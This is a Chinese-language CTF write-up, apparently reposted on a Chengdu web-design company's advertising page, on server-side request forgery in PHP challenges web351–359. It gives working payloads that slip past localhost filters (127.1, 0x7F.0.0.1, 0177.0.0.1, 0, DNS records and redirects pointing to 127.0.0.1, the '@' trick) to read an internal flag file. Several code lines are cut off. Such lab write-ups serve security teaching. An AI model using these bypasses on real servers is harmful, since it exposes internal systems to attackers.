php中SSRF的介紹以及用法，很多新手對此不是很清楚，為了幫助大家解決這個(gè)難題，下面小編將為大家詳細(xì)講解，有這方面需求的人可以來學(xué)習(xí)下，希望你能有所收獲。
成都創(chuàng)新互聯(lián)主要從事成都做網(wǎng)站、成都網(wǎng)站設(shè)計(jì)、成都外貿(mào)網(wǎng)站建設(shè)、網(wǎng)頁設(shè)計(jì)、企業(yè)做網(wǎng)站、公司建網(wǎng)站等業(yè)務(wù)。立足成都服務(wù)介休,10余年網(wǎng)站建設(shè)經(jīng)驗(yàn),價(jià)格優(yōu)惠、服務(wù)專業(yè),歡迎來電咨詢建站服務(wù):13518219792
SSRF(Server-Side Request Forgery:服務(wù)器端請求偽造) 是一種由攻擊者構(gòu)造形成由服務(wù)端發(fā)起請求的一個(gè)安全漏洞。一般情況下，SSRF攻擊的目標(biāo)是從外網(wǎng)無法訪問的內(nèi)部系統(tǒng)。（正是因?yàn)樗怯煞?wù)端發(fā)起的，所以它能夠請求到與它相連而與外網(wǎng)隔離的內(nèi)部系統(tǒng)）
curl_init — 初始化 cURL 會(huì)話
curl_setopt — 設(shè)置一個(gè)cURL傳輸選項(xiàng)。
| CURLOPT_HEADER | 啟用時(shí)會(huì)將頭文件的信息作為數(shù)據(jù)流輸出。 |
|---|---|
| URLOPT_RETURNTRANSFER | 將curl_exec()獲取的信息以文件流的形式返回，而不是直接輸出。 |
curl_exec — 執(zhí)行 cURL 會(huì)話
curl_close — 關(guān)閉 cURL 會(huì)話
如果我們直接訪問，會(huì)輸出
非本地用戶禁止訪問
所以需ssrf讀取flag, payload:
# POST url=http://127.0.0.1/flag.php
hacker
parse_url — 解析 URL，返回其組成部分
這里過濾了/localhost|127.0.0/,
假的吧，都可以出來，
url=http://localhost/flag.php url=http://127.0.0.1/flag.php
在本地嘗試嘗試?yán)@過：
ping 127.0.1 ping 127.1 ping 0x7F.0.0.1 ping 0177.0.0.1
題目嘗試也可繞過。
hacker
直接繞過:
url=http://127.1/flag.php url=http://0x7F.0.0.1/flag.php url=http://0177.0.0.1/flag.php
hacker
直接把1和·0也給過濾了。
可以
將自己域名A記錄指向
127.0.0.1
[http://sudo.cc/](http://sudo.cc/)正好指向127.0.0.1302跳轉(zhuǎn)
web355
hacker這里要求
$x['host']長度不大于5.直接,
127.1正好是5url=http://127.1/flag.php還可找一個(gè)域名長度不大于5的域名 A 記錄解析到
127.0.0.1.web356
hacker這回更絕，長度不大于 3 .
0在linux系統(tǒng)中會(huì)解析成127.0.0.1在windows中解析成0.0.0.0
payload:
url=http://0/flag.phpweb357
'.$ip.''; if(!filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE)) { die('ip!'); } echo file_get_contents($_POST['url']); } else{ die('scheme'); } ?> scheme域名解析到vps,
ssrf.php
web358
正則表達(dá)式的意思是以http://ctf.開頭，以show結(jié)尾。
payload：
url=http://ctf.@127.0.0.1/flag.php?showweb359~打MySQL

瀏覽器會(huì)對此url進(jìn)行一次解碼，解碼后的url可能會(huì)含特殊字符，curl提交時(shí)需再次編碼.
